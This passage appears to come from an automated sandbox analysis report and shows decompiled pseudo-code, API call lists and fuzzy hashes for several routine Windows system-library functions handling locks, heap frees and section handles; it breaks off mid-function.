0x6a97615d
0x6a9201ad
0x6a9201ad
0x6a9201af
0x6a9201af
0x6a9201b8
0x6a9201ba
0x6a9201bd
0x6a9201c2
0x6a9201c2
0x6a9201c9
0x6a9201cc
0x6a9201d2
0x6a9201d8
0x00000000
0x6a9201d8
0x6a920156
0x6a920156
0x6a920157
0x6a920157
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6AA0861C,6A9EF848,0000001C,6A91F66C,?,00000000,6AA052D8), ref: 6A920120
ZwUnmapViewOfSection.1105(000000FF,?,6AA0861C,6A9EF848,0000001C,6A91F66C,?,00000000,6AA052D8), ref: 6A9201AF
ZwClose.1105(?,000000FF,?,6AA0861C,6A9EF848,0000001C,6A91F66C,?,00000000,6AA052D8), ref: 6A9201BD

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireCloseExclusiveLockSectionUnmapView
String ID:
API String ID: 1629747488-0
Opcode ID: cdd5e66de8c261c49f9d1be72e5cca8719e08fd9ab071f360f2204ad4eacd76c
Instruction ID: 87e2417cc529d5735874e940a4ea69ef0430c68ff02e05d2f4f95782accb84f9
Opcode Fuzzy Hash: cdd5e66de8c261c49f9d1be72e5cca8719e08fd9ab071f360f2204ad4eacd76c
Instruction Fuzzy Hash: 1A41BE31955714DFEF61CF68C8A479A7BB4BF16318F21416AD420AB396DB70CD82CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6A995623, Relevance: 9.1, APIs: 6, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A995623(signed int __edx) {
				void* _t21;
				signed int _t22;
				void* _t23;
				signed int _t24;
				intOrPtr _t26;
				signed int _t27;
				signed char* _t39;
				signed int _t45;
				signed int _t51;
				signed int _t54;
				signed int _t63;

				_t51 = __edx;
				_t21 = E6A937D50();
				_t45 = 0x7ffe0384;
				if(_t21 == 0) {
					_t22 = 0x7ffe0384;
				} else {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				_t54 = 0x7ffe0385;
				if( *_t22 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6A937D50() == 0) {
						_t39 = 0x7ffe0385;
					} else {
						_t39 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t39 & 0x00000020) != 0) {
						_t51 = _t51 | 0xffffffff;
						_t63 = _t51;
						L6A997016(0x1480, _t51, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				_t23 = E6A946900(_t63, 0x6aa05350);
				_t24 = E6A937D50();
				if(_t23 == 0) {
					__eflags = _t24;
					if(_t24 != 0) {
						_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						__eflags = _t45;
					}
					__eflags =  *_t45;
					if( *_t45 != 0) {
						_t26 =  *[fs:0x30];
						__eflags =  *(_t26 + 0x240) & 0x00000004;
						if(( *(_t26 + 0x240) & 0x00000004) != 0) {
							_t27 = E6A937D50();
							__eflags = _t27;
							if(_t27 != 0) {
								_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								__eflags = _t54;
							}
							__eflags =  *_t54 & 0x00000020;
							if(( *_t54 & 0x00000020) != 0) {
								__eflags = _t51 | 0xffffffff;
								L6A997016(0x1482, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					__eflags = 0;
					return 0;
				}
				if(_t24 != 0) {
					_t45 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				}
				if( *_t45 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
					if(E6A937D50() != 0) {
						_t54 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t54 & 0x00000020) != 0) {
						L6A997016(0x1481, _t51 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
					}
				}
				return 1;
			}

0x6a995623
0x6a995628
0x6a99562d
0x6a995634
0x6a995646
0x6a995636
0x6a99563f
0x6a99563f
0x6a99564b
0x6a995650
0x6a995668
0x6a99567a
0x6a99566a
0x6a995673
0x6a995673
0x6a99567f
0x6a995689
0x6a995689
0x6a995691
0x6a995691
0x6a99567f
0x6a99569b
0x6a9956a2
0x6a9956a9
0x6a995708
0x6a99570a
0x6a995715
0x6a995715
0x6a995715
0x6a99571b
0x6a99571e
0x6a995720
0x6a995726
0x6a99572d
0x6a99572f
0x6a995734
0x6a995736
0x6a995741
0x6a995741
0x6a995741
0x6a995747
0x6a99574a
0x6a995754
0x6a99575c
0x6a99575c
0x6a99574a
0x6a99572d
0x6a995761
0x00000000
0x6a995761
0x6a9956ad
0x6a9956b8
0x6a9956b8
0x6a9956c1
0x6a9956d9
0x6a9956e4
0x6a9956e4
0x6a9956ed
0x6a9956ff
0x6a9956ff
0x6a9956ed
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000002,?,6A98E4BC,6A9F03D0,0000000C,6A989687,00000000,00000000,00000001,?,?,7FFE0386,?,6A916778,00000001), ref: 6A995628
RtlGetCurrentServiceSessionId.1105 ref: 6A995661
RtlTryEnterCriticalSection.1105(6AA05350,00000000,00000002,?,6A98E4BC,6A9F03D0,0000000C,6A989687,00000000,00000000,00000001,?,?,7FFE0386,?,6A916778), ref: 6A99569B
RtlGetCurrentServiceSessionId.1105(6AA05350,00000000,00000002,?,6A98E4BC,6A9F03D0,0000000C,6A989687,00000000,00000000,00000001,?,?,7FFE0386,?,6A916778), ref: 6A9956A2
RtlGetCurrentServiceSessionId.1105 ref: 6A9956D2
RtlGetCurrentServiceSessionId.1105 ref: 6A99572F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$CriticalEnterSection
String ID:
API String ID: 1555030633-0
Opcode ID: df8ee21c36b968ec3fe5458770126e896bb9d1649c51d6feabd4098ac92e12af
Instruction ID: 3033edb5c7ac0e7fd092ac1db0642057bbe3032aa2d5368e20aa47ec052834cc
Opcode Fuzzy Hash: df8ee21c36b968ec3fe5458770126e896bb9d1649c51d6feabd4098ac92e12af
Instruction Fuzzy Hash: 4B317631645691FFEB228728DE58B153FD9AB01775F3E0390E9308B6E2DF68D544C211

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C3D40, Relevance: 9.1, APIs: 6, Instructions: 98
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6A9C3D40(intOrPtr __ecx, void** __edx) {
				signed int _v8;
				void** _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				void* _v28;
				char _v29;
				intOrPtr* _v32;
				char _v36;
				char _v37;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t34;
				void* _t37;
				intOrPtr* _t42;
				intOrPtr* _t47;
				intOrPtr* _t48;
				intOrPtr* _t49;
				char _t51;
				void* _t52;
				intOrPtr* _t53;
				void** _t55;
				void _t59;
				char* _t61;
				intOrPtr* _t64;
				void* _t65;
				void** _t67;
				void* _t68;
				signed int _t70;

				_t62 = __edx;
				_t72 = (_t70 & 0xfffffff8) - 0x1c;
				_v8 =  *0x6aa0d360 ^ (_t70 & 0xfffffff8) - 0x0000001c;
				_t34 =  &_v28;
				_v20 = __ecx;
				_t67 = __edx;
				_v24 = _t34;
				_t51 = 0;
				_v12 = __edx;
				_v29 = 0;
				_v28 = _t34;
				E6A932280(_t34, 0x6aa08a6c);
				_t64 =  *0x6aa05768; // 0x6aa05768
				if(_t64 != 0x6aa05768) {
					while(1) {
						_t8 = _t64 + 8; // 0x6aa05770
						_t42 = _t8;
						_t53 = _t64;
						 *_t42 =  *_t42 + 1;
						_v16 = _t42;
						E6A92FFB0(_t53, _t64, 0x6aa08a6c);
						_t10 = _t64 + 0xc; // 0x6a90e2b8
						 *0x6aa0b1e0(_v24, _t67);
						if( *((intOrPtr*)( *_t10))() != 0) {
							_v37 = 1;
						}
						E6A932280(_t45, 0x6aa08a6c);
						_t47 = _v28;
						_t64 =  *_t64;
						 *_t47 =  *_t47 - 1;
						if( *_t47 != 0) {
							goto L8;
						}
						if( *((intOrPtr*)(_t64 + 4)) != _t53) {
							L10:
							_push(3);
							asm("int 0x29");
						} else {
							_t15 = _t53 + 4; // 0x6aa05768
							_t48 =  *_t15;
							if( *_t48 != _t53) {
								goto L10;
							} else {
								 *_t48 = _t64;
								_t61 =  &_v36;
								 *((intOrPtr*)(_t64 + 4)) = _t48;
								_t49 = _v32;
								if( *_t49 != _t61) {
									goto L10;
								} else {
									 *_t53 = _t61;
									 *((intOrPtr*)(_t53 + 4)) = _t49;
									 *_t49 = _t53;
									_v32 = _t53;
									goto L8;
								}
							}
						}
						L11:
						_t51 = _v29;
						goto L12;
						L8:
						if(_t64 != 0x6aa05768) {
							_t67 = _v20;
							continue;
						}
						goto L11;
					}
				}
				L12:
				E6A92FFB0(_t51, _t64, 0x6aa08a6c);
				while(1) {
					_t37 = _v28;
					_t55 =  &_v28;
					if(_t37 == _t55) {
						break;
					}
					if( *((intOrPtr*)(_t37 + 4)) != _t55) {
						goto L10;
					} else {
						_t59 =  *_t37;
						if( *((intOrPtr*)(_t59 + 4)) != _t37) {
							goto L10;
						} else {
							_t62 =  &_v28;
							_v28 = _t59;
							 *((intOrPtr*)(_t59 + 4)) =  &_v28;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t37);
							continue;
						}
					}
					L18:
				}
				_pop(_t65);
				_pop(_t68);
				_pop(_t52);
				return E6A95B640(_t51, _t52, _v8 ^ _t72, _t62, _t65, _t68);
				goto L18;
			}

0x6a9c3d40
0x6a9c3d48
0x6a9c3d52
0x6a9c3d59
0x6a9c3d5d
0x6a9c3d61
0x6a9c3d63
0x6a9c3d67
0x6a9c3d69
0x6a9c3d72
0x6a9c3d76
0x6a9c3d7a
0x6a9c3d7f
0x6a9c3d8b
0x6a9c3d91
0x6a9c3d91
0x6a9c3d91
0x6a9c3d94
0x6a9c3d96
0x6a9c3d9d
0x6a9c3da1
0x6a9c3da7
0x6a9c3db0
0x6a9c3dba
0x6a9c3dbc
0x6a9c3dbc
0x6a9c3dc6
0x6a9c3dcb
0x6a9c3dcf
0x6a9c3dd1
0x6a9c3dd4
0x00000000
0x00000000
0x6a9c3dd9
0x6a9c3e0c
0x6a9c3e0c
0x6a9c3e0f
0x6a9c3ddb
0x6a9c3ddb
0x6a9c3ddb
0x6a9c3de0
0x00000000
0x6a9c3de2
0x6a9c3de2
0x6a9c3de4
0x6a9c3de8
0x6a9c3deb
0x6a9c3df1
0x00000000
0x6a9c3df3
0x6a9c3df3
0x6a9c3df5
0x6a9c3df8
0x6a9c3dfa
0x00000000
0x6a9c3dfa
0x6a9c3df1
0x6a9c3de0
0x6a9c3e11
0x6a9c3e11
0x00000000
0x6a9c3dfe
0x6a9c3e04
0x6a9c3e06
0x00000000
0x6a9c3e06
0x00000000
0x6a9c3e04
0x6a9c3d91
0x6a9c3e15
0x6a9c3e1a
0x6a9c3e1f
0x6a9c3e1f
0x6a9c3e23
0x6a9c3e29
0x00000000
0x00000000
0x6a9c3e2e
0x00000000
0x6a9c3e30
0x6a9c3e30
0x6a9c3e35
0x00000000
0x6a9c3e37
0x6a9c3e3e
0x6a9c3e42
0x6a9c3e48
0x6a9c3e4e
0x00000000
0x6a9c3e4e
0x6a9c3e35
0x00000000
0x6a9c3e2e
0x6a9c3e5b
0x6a9c3e5c
0x6a9c3e5d
0x6a9c3e68
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3D7A
RtlReleaseSRWLockExclusive.1105(6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3DA1
RtlDebugPrintTimes.1105(?,?,6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000), ref: 6A9C3DB0
RtlAcquireSRWLockExclusive.1105(6AA08A6C,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3DC6
RtlReleaseSRWLockExclusive.1105(6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA,00000000,00008000,?), ref: 6A9C3E1A
RtlFreeHeap.1105(?,00000000,6AA08A6C,6AA08A6C,6AA08A6C,6AA08A6C,?,00000000,00000000,?,?,?,?,?,?,6A9C3CAA), ref: 6A9C3E4E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$DebugFreeHeapPrintTimes
String ID:
API String ID: 1017367878-0
Opcode ID: cffd6ff19846ec8b02dac4fe48460e14637fd5659345a2841ca8e3aa9d015a67
Instruction ID: dbcd3c61fca986411057ccc57b44aec04d037893980c22174a80a7275b2899ff
Opcode Fuzzy Hash: cffd6ff19846ec8b02dac4fe48460e14637fd5659345a2841ca8e3aa9d015a67
Instruction Fuzzy Hash: E93152B1509302DFC700DF24D58094AFBF5BF8A218F56896EE4998B241EB30E905CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6A9DA189, Relevance: 9.1, APIs: 6, Instructions: 96
nativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6A9DA189(signed int __ecx, intOrPtr* __edx) {
				char _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				void* __ebx;
				void* __edi;
				intOrPtr _t29;
				void** _t30;
				intOrPtr _t40;
				void* _t44;
				signed int _t50;
				void* _t51;
				intOrPtr _t52;

				_v20 = __edx;
				_t50 = __ecx;
				if(__edx != 0) {
					E6A932280(__edx, 0x6aa06220);
					_t42 = _t50;
					_t40 = E6A9DA166(_t50);
					if(_t40 != 0) {
						L15:
						E6A92FFB0(_t40, _t50, 0x6aa06220);
						 *_v20 = _t40;
						return 0;
					}
					_t44 = E6A9DA166(_t42 ^ 0x00000100);
					if(_t44 != 0) {
						_v12 =  *((intOrPtr*)(_t44 + 4));
						_v8 =  *((intOrPtr*)(_t44 + 8));
						L7:
						_t51 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, 0x50);
						if(_t51 != 0) {
							_t10 = _t51 + 0xc; // 0xc
							_t40 = _t10;
							_t29 = E6A9CA708(_t50, _v12, _v8, _t40);
							_v16 = _t29;
							if(_t29 >= 0) {
								 *(_t51 + 8) = _t50;
								_t30 =  *0x6aa053d4; // 0x6aa053d0
								if( *_t30 != 0x6aa053d0) {
									0x6aa053d0 = 3;
									asm("int 0x29");
								}
								 *_t51 = 0x6aa053d0;
								 *(_t51 + 4) = _t30;
								 *_t30 = _t51;
								 *0x6aa053d4 = _t51;
								goto L15;
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t51);
							_t52 = _v16;
							L11:
							E6A92FFB0(_t40, _t50, 0x6aa06220);
							return _t52;
						}
						_t52 = 0xc0000017;
						goto L11;
					}
					_push( &_v8);
					_push( &_v12);
					_push(_t44);
					_push(_t50 & 0xfffffeff);
					_push(0xc);
					_t52 = E6A95A420();
					if(_t52 >= 0) {
						goto L7;
					}
					goto L11;
				}
				return 0xc00000f0;
			}

0x6a9da194
0x6a9da199
0x6a9da19d
0x6a9da1ae
0x6a9da1b3
0x6a9da1ba
0x6a9da1be
0x6a9da27e
0x6a9da283
0x6a9da28b
0x00000000
0x6a9da28d
0x6a9da1cf
0x6a9da1d3
0x6a9da1f8
0x6a9da1fe
0x6a9da201
0x6a9da213
0x6a9da217
0x6a9da223
0x6a9da223
0x6a9da22c
0x6a9da231
0x6a9da236
0x6a9da25b
0x6a9da263
0x6a9da26a
0x6a9da26e
0x6a9da26f
0x6a9da26f
0x6a9da271
0x6a9da273
0x6a9da276
0x6a9da278
0x00000000
0x6a9da278
0x6a9da245
0x6a9da24a
0x6a9da24d
0x6a9da252
0x00000000
0x6a9da257
0x6a9da219
0x00000000
0x6a9da219
0x6a9da1d8
0x6a9da1dc
0x6a9da1dd
0x6a9da1e5
0x6a9da1e6
0x6a9da1ed
0x6a9da1f1
0x00000000
0x00000000
0x00000000
0x6a9da1f3
0x00000000

APIs

RtlAcquireSRWLockExclusive.1105(6AA06220,00000000,?,?,?), ref: 6A9DA1AE
ZwGetNlsSectionPtr.1105(0000000C,?,00000000,?,?,6AA06220,00000000,?,?,?), ref: 6A9DA1E8
RtlReleaseSRWLockExclusive.1105(6AA06220,?,00000000,00000000,?,0000000C,?,00000000,00000050,6AA06220,00000000,?,?,?), ref: 6A9DA252

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireReleaseSection
String ID:
API String ID: 1496884002-0
Opcode ID: 2cf657b495ca6b770c241aa06bfda2035ba24c4f48ba503f097827b1397c7396
Instruction ID: b396e8555ff94fddc9ef037c243bcb6843192aa46edcdd7759bf339c480893cb
Opcode Fuzzy Hash: 2cf657b495ca6b770c241aa06bfda2035ba24c4f48ba503f097827b1397c7396
Instruction Fuzzy Hash: 1C313831A00A06EFCB119F99D840B5EBBB8EF55718F21806AE615DBB60DF70CD818B90

Uniqueness

Uniqueness Score: -1.00%

Function 6A91F7C0, Relevance: 9.1, APIs: 6, Instructions: 64
nativeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6A91F7C0(void* __ecx, signed char _a4, signed short _a8, intOrPtr* _a12) {
				void* __ebx;
				void* __edi;
				void* _t16;
				signed char _t29;
				intOrPtr* _t37;
				signed int _t39;

				_t39 = _a8 & 0x0000ffff;
				if(_t39 == 0) {
					L13:
					E6A91CC50(6);
					_t16 = 6;
					return _t16;
				}
				_t29 = _a4;
				if((_t29 & 0x00000001) != 0) {
					goto L13;
				}
				_t5 = _t29 + 0x34; // 0x64
				_t17 = _t5;
				if(_t39 !=  *_t5 || _t29 ==  *0x6aa060d8) {
					goto L13;
				} else {
					_t6 = _t29 + 0x28; // 0x58
					_t38 = _t6;
					E6A932280(_t17, _t6);
					asm("lock cmpxchg [edx], cx");
					if(_t39 != _t39) {
						E6A92FFB0(_t29, _t38, _t38);
						goto L13;
					}
					E6A91F8C8(_t29);
					E6A92FFB0(_t29, _t38, _t38);
					_t24 =  *(_t29 + 0x36) & 0x00003fff;
					if(( *(_t29 + 0x36) & 0x00003fff) != 0xa) {
						_push( *((intOrPtr*)(_t29 + 0x30)));
						_t24 = E6A9595D0();
					}
					_t34 =  *(_t29 + 0xc8);
					if( *(_t29 + 0xc8) != 0) {
						E6A9E4015(_t24, _t34);
						 *(_t29 + 0xc8) =  *(_t29 + 0xc8) & 0x00000000;
					}
					_t37 = _a12;
					if(_t37 != 0) {
						 *_t37 =  *((intOrPtr*)(_t29 + 0x20));
					}
					E6A91F871(_t29);
					return 0;
				}
			}

0x6a91f7c7
0x6a91f7cf
0x6a91f865
0x6a91f867
0x6a91f86e
0x00000000
0x6a91f86e
0x6a91f7d5
0x6a91f7db
0x00000000
0x00000000
0x6a91f7e1
0x6a91f7e1
0x6a91f7e7
0x00000000
0x6a91f7f1
0x6a91f7f1
0x6a91f7f1
0x6a91f7f5
0x6a91f802
0x6a91f80a
0x6a91f860
0x00000000
0x6a91f860
0x6a91f80e
0x6a91f814
0x6a91f822
0x6a91f829
0x6a91f82b
0x6a91f82e
0x6a91f82e
0x6a91f833
0x6a91f83b
0x6a975d50
0x6a975d55
0x6a975d55
0x6a91f841
0x6a91f846
0x6a91f85b
0x6a91f85b
0x6a91f84a
0x00000000
0x6a91f84f

APIs

RtlAcquireSRWLockExclusive.1105(00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F7F5
RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F860

Part of subcall function 6A91F8C8: RtlAcquireSRWLockExclusive.1105(6AA086AC,00000058,?,00000030,6A91F813,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000), ref: 6A91F8D5
Part of subcall function 6A91F8C8: RtlRbRemoveNode.1105(6AA086DC,00000030,6AA086AC,00000058,?,00000030,6A91F813,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000), ref: 6A91F8E0
Part of subcall function 6A91F8C8: RtlReleaseSRWLockExclusive.1105(6AA086AC,6AA086DC,00000030,6AA086AC,00000058,?,00000030,6A91F813,00000058,00000000,00000000,00000000,?,6A9876A7,?,?), ref: 6A91F8EE

RtlReleaseSRWLockExclusive.1105(00000058,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F814
ZwClose.1105(?,00000058,00000058,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F82E
RtlSetLastWin32Error.1105(00000006,00000000,00000000,00000000,?,6A9876A7,?,?,00000000,6A8F67CC,00000000,00000000,?,00000040), ref: 6A91F867

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$CloseErrorLastNodeRemoveWin32
String ID:
API String ID: 2169420607-0
Opcode ID: 1a9d77f748ba12f6454bfe3d77abf47f9b87824f8910d996bc05556e2cee0010
Instruction ID: c7844b08d929f0a9f5b21665c090494ce84942f63cd72f4bb325b67e4f241ec0
Opcode Fuzzy Hash: 1a9d77f748ba12f6454bfe3d77abf47f9b87824f8910d996bc05556e2cee0010
Instruction Fuzzy Hash: 4E11B63621820D9BEB519F10C8C0BAA3379FF95B1CFA141AADD164F146DF30DC828760

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A1242, Relevance: 9.0, APIs: 6, Instructions: 31
nativeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6A9A1242(intOrPtr __ebx) {
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;

				_t18 = __ebx;
				_t19 =  *((intOrPtr*)(_t20 - 0x48));
				if(_t19 != 0) {
					_push(_t19);
					_push(0xffffffff);
					E6A9597A0();
					if( *((intOrPtr*)(_t20 - 0x40)) != 0) {
						_push( *((intOrPtr*)(_t20 - 0x40)));
						E6A9595D0();
					}
					_t14 =  *((intOrPtr*)(_t20 - 0x4c));
					if(_t14 != 0) {
						_push(_t14);
						_t14 = E6A9595D0();
					}
				}
				if( *((intOrPtr*)(_t20 - 0x38)) != 0) {
					_push( *((intOrPtr*)(_t20 - 0x38)));
					_t14 = E6A9595D0();
					 *((intOrPtr*)(_t20 - 0x38)) = _t18;
				}
				if( *((intOrPtr*)(_t20 - 0x3c)) != 0) {
					_push( *((intOrPtr*)(_t20 - 0x3c)));
					_t14 = E6A9595D0();
					 *((intOrPtr*)(_t20 - 0x3c)) = _t18;
				}
				if( *((intOrPtr*)(_t20 - 0x34)) == 0) {
					return _t14;
				} else {
					_push( *((intOrPtr*)(_t20 - 0x34)));
					_t15 = E6A9595D0();
					 *((intOrPtr*)(_t20 - 0x34)) = _t18;
					return _t15;
				}
			}

0x6a9a1242
0x6a9a1242
0x6a9a1247
0x6a9a1249
0x6a9a124a
0x6a9a124c
0x6a9a1255
0x6a9a1257
0x6a9a125a
0x6a9a125a
0x6a9a125f
0x6a9a1264
0x6a9a1266
0x6a9a1267
0x6a9a1267
0x6a9a1264
0x6a9a1270
0x6a9a1272
0x6a9a1275
0x6a9a127a
0x6a9a127a
0x6a9a1281
0x6a9a1283
0x6a9a1286
0x6a9a128b
0x6a9a128b
0x6a9a1292
0x6a9a129f
0x6a9a1294
0x6a9a1294
0x6a9a1297
0x6a9a129c
0x00000000
0x6a9a129c

APIs

ZwUnmapViewOfSection.1105(000000FF,?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?), ref: 6A9A124C
ZwClose.1105(?,000000FF,?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000), ref: 6A9A125A
ZwClose.1105(?,000000FF,?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000), ref: 6A9A1267
ZwClose.1105(?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?,00000000), ref: 6A9A1275
ZwClose.1105(?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?,00000000), ref: 6A9A1286
ZwClose.1105(?,6A9A122C,6A9F07D0,00000058,6A9A0C91,?,00000000,?,00000000,?,?,?,6A9CB56B,00000000,?,00000000), ref: 6A9A1297

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$SectionUnmapView
String ID:
API String ID: 682624529-0
Opcode ID: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction ID: 429eb3cfeb37ce5be3d381e05d5cef2687b5011911b7322aaee5b2dfd0db219f
Opcode Fuzzy Hash: df9b40cab72dcffc0bbba800b8aff6860ab2831aacd6ae3e33e08911f29cf166
Instruction Fuzzy Hash: 00F0F9B4D1120CAEEF05DFB0D88979DBB35AF21218F32012AE922611A1DF70C9A1CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6A914439, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E6A914439(intOrPtr* __ecx, void* __edx) {
				signed int _v8;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				signed int _v84;
				void* _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t64;
				signed int _t68;
				intOrPtr* _t72;
				signed int _t74;
				void* _t77;
				signed int _t83;
				signed int _t84;

				_t79 = __edx;
				_t54 =  *0x6aa0d360 ^ _t84;
				_v8 =  *0x6aa0d360 ^ _t84;
				_t82 = __ecx;
				_v96 = __edx;
				_t74 = __edx;
				if(__edx != 0 && ( *(__edx + 8) & 0x00000004) == 0) {
					_t82 = __ecx + 4;
					_t72 =  *_t82;
					while(_t72 != _t82) {
						_t83 = _t72 - 8;
						_t79 = 1;
						if( *_t83 != 0x74736c46) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = 1;
							_v68 = 1;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = 1;
							E6A96DEF0(_t74, 1);
							_t74 = _v96;
							_t79 = 1;
						}
						if( *(_t83 + 0x14) !=  !( *(_t83 + 4))) {
							_v84 = _v84 & 0x00000000;
							_push( &_v92);
							_v76 = 4;
							_v72 = _t79;
							_v68 = 2;
							_v64 = _t82;
							_v60 = _t83;
							_v92 = 0xc0150015;
							_v88 = _t79;
							E6A96DEF0(_t74, _t79);
							_t74 = _v96;
						}
						_t9 = _t83 + 0x18; // 0x1c
						_t54 = _t9;
						if(_t74 < _t9) {
							L13:
							_t72 =  *_t72;
							continue;
						} else {
							_t10 = _t83 + 0x618; // 0x61c
							_t54 = _t10;
							if(_t74 >= _t10) {
